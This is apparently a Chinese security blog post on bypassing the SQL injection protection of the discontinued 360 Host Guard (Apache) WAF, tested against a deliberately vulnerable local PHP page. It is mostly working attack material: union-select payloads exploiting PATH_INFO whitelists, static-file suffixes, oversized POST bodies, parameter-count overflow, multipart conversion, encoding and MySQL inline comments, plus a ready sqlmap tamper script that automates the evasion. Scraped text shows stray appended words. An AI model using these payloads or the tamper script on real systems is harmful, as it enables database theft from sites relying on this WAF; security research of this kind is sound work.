在服务器客户端领域,曾经出现过一款360主机卫士,目前已中止更新和维护,官网都打不开了,但服务器中依然常常能够看到它的身影。从半年前的测试虚拟机里面,翻出了360主机卫士Apache版的安装包,就当作是一个记念版吧。这边主要分享一下几种思路,Bypass 360主机卫士SQL注入防护。php
360主机卫士官网:http://zhuji.360.cn软件版本:360主机卫士Apache 记念版测试环境:phpStudyhtml
本地构造SQL注入点:python
$id=_REQUEST['id']; query = "SELECT * FROM admin WHERE id = $id ";
0x02 WAF测试sql
因zhuji.360.cn站点已关闭,拦截界面为空白,抓包先放一张拦截图:数据库
在360主机卫士客户端设置中存在默认网站后台白名单,如图:浏览器
利用PHP中的PATH_INFO问题,随便挑选一个白名单加在后面,可成功bypass。安全
/test.php/admin?id=1 union select 1,2,schema_name from information_schema.SCHEMATA服务器
当文件后缀名为js、jpg、png等静态资源后缀请求,相似白名单机制,waf为了检测效率,直接略过这样一些静态资源文件名后缀的请求。微信
/test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA工具
当Post大包时,WAF在处理测试向量时超出了其缓冲区长度,超过检测内容长度将会直接Bypass,若是正经常使用户上传一些比较大的文件,WAF每一个都检测的话,性能就会被耗光。
基于这些考虑,POST 大包溢出的思路可成功Bypass。
/test.php
POST:
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,schema_name from information_schema.SCHEMATA
这种溢出的形式,我称它为uri参数溢出。好比某WAF,默认状况下只能获取前100个参数进行检测,当提交第101个参数时,那么,将没法对攻击者提交的第100个之后的参数进行有效安全检测,从而绕过安全防护。
经测试,当提交的参数个数超过97个,可进行union select 查询,再增长对关键字from的绕过,可成功Bypass。
http://192.168.204.128/test.php
POST:id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1 union select 1,2,schema_name %0a/!from/information_schema.SCHEMATA
一个历史久远的逻辑问题了,当同时提交GET、POST请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。
/test.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
POST:aaa
将Post、Get数据包转为上传multipart/form-data格式数据包,利用协议解析的差别,从而绕过SQL防护。
------WebKitFormBoundaryACZoaLJJzUwc4hYMContent-Disposition: form-data; name="id"
1 union /* !select*/ 1,2,schema_name【这里使用Enter换行】from information_schema.SCHEMATA------WebKitFormBoundaryACZoaLJJzUwc4hYM--
若是转换数据包进行绕过呢?
首先,新建一个html页面:
<html> <head></head> <body> <form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data"> <input type="text" name="id"> <input type="submit"> </form> </body> </html>
而后,在浏览器打开并在输入框中输入参数,抓包发送到Repeater,进一步构造Payload获取数据。
客户端对Payload进行编码,服务端可以自动进行解码,这时候就考验WAF的编码解码能力了,若是WAF不能进行有效解码还原攻击向量,可能致使绕过,常见编码如URL编码、unicode编码(IIS)、宽字节编码等。这个地方虽然URL编码也能绕过获取数据,主要是由于WAF对POST的防护规则太过于松散,union select 随便绕,select from 用%0a就能够解决,主要分享一下编码绕过的思路。
/test.php?id=1POST:id=1 %55nion %53elect/* !1,2,schema_name %0aFROM information_schema.SCHEMATA* /
利用Mysql数据库的一些特性,绕过WAF的防护规则,最终在数据库中成功执行了SQL,获取数据。
http://192.168.204.128/test.php
POST:
id=1 union%0a/* !12345select* / 1,2,schema_name%0a/* !12345from */information_schema.SCHEMATA
当测试出绕过WAF SQL注入防护的技巧后,可经过编写tamper脚本实现自动化注入,以姿式八:%0a+内联注释为例,主要是针对union select from等关键字替换,Payload中的部分关键字可能会被waf拦截,须要一步步调试,测试,总结规律。
tamper脚本:
#!/usr/bin/env python """ write by Bypass """ from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces keywords >>> tamper('UNION SELECT id FROM users') 'union%0a/*!12345select*/id%0a/*!12345from*/users' """ if payload: payload=payload.replace(" ALL SELECT ","%0a/*!12345select*/") payload=payload.replace("UNION SELECT","union%0a/*!12345select*/") payload=payload.replace(" FROM ","%0a/*!12345from*/") payload=payload.replace("CONCAT","CONCAT%23%0a") payload=payload.replace("CASE ","CASE%23%0a") payload=payload.replace("CAST(","/*!12345CASt(*/") payload=payload.replace("DATABASE()","database%0a()") return payload
加载tamper脚本,可成功获取数据
这边也分享一下,另外一个比较简单的自动化注入的方法,就是使用超级SQL注入工具,利用这边提供的注入绕过模块,结合日志中心的测试记录,能够很方便的进行调试,而后保存绕过模板,方便下次调用。
利用前面的关键字符进行替换,自动化注入获取数据库数据:
分享了几种有意思的绕过思路,主要利用了WAF层的逻辑问题,数据库层的一些特性,服务器层编码解析、参数获取的差别。其中借鉴和学习了很多前辈们的思路,受益不浅,学习,沉淀,总结,分享,周而复始。
最后
欢迎关注我的微信公众号:Bypass--,每周原创一篇技术干货。